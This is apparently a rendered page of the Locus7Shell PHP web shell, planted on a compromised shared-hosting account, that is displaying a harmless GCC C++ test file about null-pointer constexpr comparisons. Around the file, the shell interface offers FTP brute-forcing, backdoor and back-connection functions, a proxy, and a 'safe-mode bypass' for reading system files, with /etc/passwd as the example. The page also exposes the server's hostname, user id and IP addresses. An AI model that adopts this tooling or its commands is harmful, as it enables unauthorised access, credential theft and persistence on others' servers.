Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp0x/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     constexpr-nullptr-1.C (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Verify the correctness of folding relational expressions involving
// pointers to array elements and struct data members and null pointers.
// Although the C semantics of relational expressions are only defined
// for pointers to objects, C++ makes them well-defined when
// (nullptr < p) yields true.  See the discussion of the patch for
// c++/67376 on gcc-patches for additional background.

// { dg-do compile { target c++11 } }
// { dg-options "-O1 -fdelete-null-pointer-checks -fdump-tree-optimized" }

// Runtime assert.  Used for potentially invalid expressions.
#define RA(e)  ((e) ? (void)0 : __builtin_abort ())

// Static assert.  Used for valid core constant expressions.
#define SA(e)  static_assert ((e), #e)

void test_first_array_element ()
{
  static constexpr int a[] = { 0 };
  constexpr const int *null = 0;
  constexpr const int *pi = a;

  // The following are valid constant expressions since in &*pi
  // the '&*' "cancel each other out."
  SA (!(null == &*pi));
  SA ( (null != &*pi));

  // The validity of the relational expressions involving null
  // pointers in a constexpr context is questionable.  Use a run
  // time assertion to verify these.
  RA ( (null <  &*pi));
  RA ( (null <= &*pi));
  RA (!(null >  &*pi));
  RA (!(null >= &*pi));

  SA (!(&*pi == null));
  SA ( (&*pi != null));
  RA (!(&*pi <  null));
  RA (!(&*pi <= null));
  RA ( (&*pi >  null));
  RA ( (&*pi >= null));

  // The following are valid constant expressions since &pi [0] is
  // equivalent to &*pi.
  SA (!(null == &pi [0]));
  SA ( (null != &pi [0]));
  RA ( (null <  &pi [0]));
  RA ( (null <= &pi [0]));
  RA (!(null >  &pi [0]));
  RA (!(null >= &pi [0]));

  SA (!(&pi [0] == null));
  SA ( (&pi [0] != null));
  RA (!(&pi [0] <  null));
  RA (!(&pi [0] <= null));
  RA ( (&pi [0] >  null));
  RA ( (&pi [0] >= null));
}

void test_first_null_array_element ()
{
  constexpr const int *pi = 0;
  constexpr const int *qi = 0;

  // The following are valid constant expressions since in &*qi
  // the '&*' "cancel each other out."
  SA ( (pi == &*qi));
  SA (!(pi != &*qi));

  // The validity of the relational expressions involving null
  // pointers in a constexpr context is questionable.
  RA (!(pi <  &*qi));
  RA ( (pi <= &*qi));
  RA (!(pi >  &*qi));
  RA ( (pi >= &*qi));

  SA ( (&*qi == pi));
  SA (!(&*qi != pi));
  RA (!(&*qi <  pi));
  RA ( (&*qi <= pi));
  RA (!(&*qi >  pi));
  RA ( (&*qi >= pi));

  // The following are valid constant expressions since &qi [0] is
  // equivalent to &*qi.
  SA ( (pi == &qi [0]));
  SA (!(pi != &qi [0]));
  RA (!(pi <  &qi [0]));
  RA ( (pi <= &qi [0]));
  RA (!(pi >  &qi [0]));
  RA ( (pi >= &qi [0]));

  SA ( (&qi [0] == pi));
  SA (!(&qi [0] != pi));
  RA (!(&qi [0] <  pi));
  RA ( (&qi [0] <= pi));
  RA (!(&qi [0] >  pi));
  RA ( (&qi [0] >= pi));
}

void test_first_struct_member ()
{
  static struct S { int a, b; } s = { 0, 0 };

  constexpr const int *p = 0;
  constexpr const S   *q = &s;

  SA (!(p == &q->b));
  SA ( (p != &q->b));
  RA ( (p <  &q->b));
  RA ( (p <= &q->b));
  RA (!(p >  &q->b));
  RA (!(p >= &q->b));

  SA (!(&q->b == p));
  SA ( (&q->b != p));
  RA (!(&q->b <  p));
  RA (!(&q->b <= p));
  RA ( (&q->b >  p));
  RA ( (&q->b >= p));
}

// Expect all runtime asserts to have been eliminated as a result
// of the tested expressions constant folded into true.
// { dg-final { scan-assembler-not "abort" } }

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--